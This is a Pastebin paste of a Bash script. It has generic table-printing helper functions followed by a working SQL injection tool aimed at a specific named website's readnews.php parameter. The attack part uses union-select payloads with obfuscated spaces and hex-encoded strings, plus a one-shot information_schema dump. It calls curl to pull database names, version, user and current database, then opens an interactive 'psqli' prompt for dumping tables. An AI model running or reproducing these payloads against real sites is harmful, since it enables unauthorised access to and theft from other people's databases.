Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- function printTable()
- {
- local -r delimiter="${1}"
- local -r data="$(removeEmptyLines "${2}")"
- if [[ "${delimiter}" != '' && "$(isEmptyString "${data}")" = 'false' ]]
- then
- local -r numberOfLines="$(wc -l <<< "${data}")"
- if [[ "${numberOfLines}" -gt '0' ]]
- then
- local table=''
- local i=1
- for ((i = 1; i <= "${numberOfLines}"; i = i + 1))
- do
- local line=''
- line="$(sed "${i}q;d" <<< "${data}")"
- local numberOfColumns='0'
- numberOfColumns="$(awk -F "${delimiter}" '{print NF}' <<< "${line}")"
- # Add Line Delimiter
- if [[ "${i}" -eq '1' ]]
- then
- table="${table}$(printf '%s#+' "$(repeatString '#+' "${numberOfColumns}")")"
- fi
- # Add Header Or Body
- table="${table}\n"
- local j=1
- for ((j = 1; j <= "${numberOfColumns}"; j = j + 1))
- do
- table="${table}$(printf '#| %s' "$(cut -d "${delimiter}" -f "${j}" <<< "${line}")")"
- done
- table="${table}#|\n"
- # Add Line Delimiter
- if [[ "${i}" -eq '1' ]] || [[ "${numberOfLines}" -gt '1' && "${i}" -eq "${numberOfLines}" ]]
- then
- table="${table}$(printf '%s#+' "$(repeatString '#+' "${numberOfColumns}")")"
- fi
- done
- if [[ "$(isEmptyString "${table}")" = 'false' ]]
- then
- echo -e "${table}" | column -s '#' -t | awk '/^\+/{gsub(" ", "-", $0)}1'
- fi
- fi
- fi
- }
- function removeEmptyLines()
- {
- local -r content="${1}"
- echo -e "${content}" | sed '/^\s*$/d'
- }
- function repeatString()
- {
- local -r string="${1}"
- local -r numberToRepeat="${2}"
- if [[ "${string}" != '' && "${numberToRepeat}" =~ ^[1-9][0-9]*$ ]]
- then
- local -r result="$(printf "%${numberToRepeat}s")"
- echo -e "${result// /${string}}"
- fi
- }
- function isEmptyString()
- {
- local -r string="${1}"
- if [[ "$(trimString "${string}")" = '' ]]
- then
- echo 'true' && return 0
- fi
- echo 'false' && return 1
- }
- function trimString()
- {
- local -r string="${1}"
- sed 's,^[[:blank:]]*,,' <<< "${string}" | sed 's,[[:blank:]]*$,,'
- }
- dios="(select group_concat(0x3c6c693e,schema_name,0x3c6c693e) from information_schema.schemata)"
- us="concat/**8**/(0x6b65646a6177336e2656657273696f6e3a,version/**8**/(),0x2655736572207365727665723a20,user/**8**/(),0x2644617461626173653a20,database/**8**/(),0x3c6b6564)"
- dbs="kabelindo.co.id/readnews.php?id=4/**8**/and/**8**/0/**8**/union/**8**/select/**8**/1,$dios,3,4,5--+"
- siteinfo="kabelindo.co.id/readnews.php?id=4/**8**/and/**8**/0/**8**/union/**8**/select/**8**/1,$us,3,4,5--+"
- site=$(echo "$dbs" | tr " " "+")
- dbnya=$(curl "$site" -L | grep -Po '<li>[^<]*<li>' | cut -d "<" -f2 | sed 's/li>/~ /g')
- info=$(curl -s -L "$siteinfo" | grep -a -o "kedjaw3n&[^<]*" | tail -1 | sed 's/&/\n/g' | sed '/kedjaw3n/d')
- dir=$(echo "$info" | grep -Po 'Database: [[:alnum:][:punct:]]*' | cut -d " " -f2)
- echo -e "ambil nama db\n\npsqli@$dir/"
- echo -e "$dbnya\n"
- echo -n "Dump db: informafion_schema"
- table=$(cat tables)
- printTable ":" "$(echo "$table")"
- echo -n "psqli@$dir/u9897uwx_kabel/: # "
- read f
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement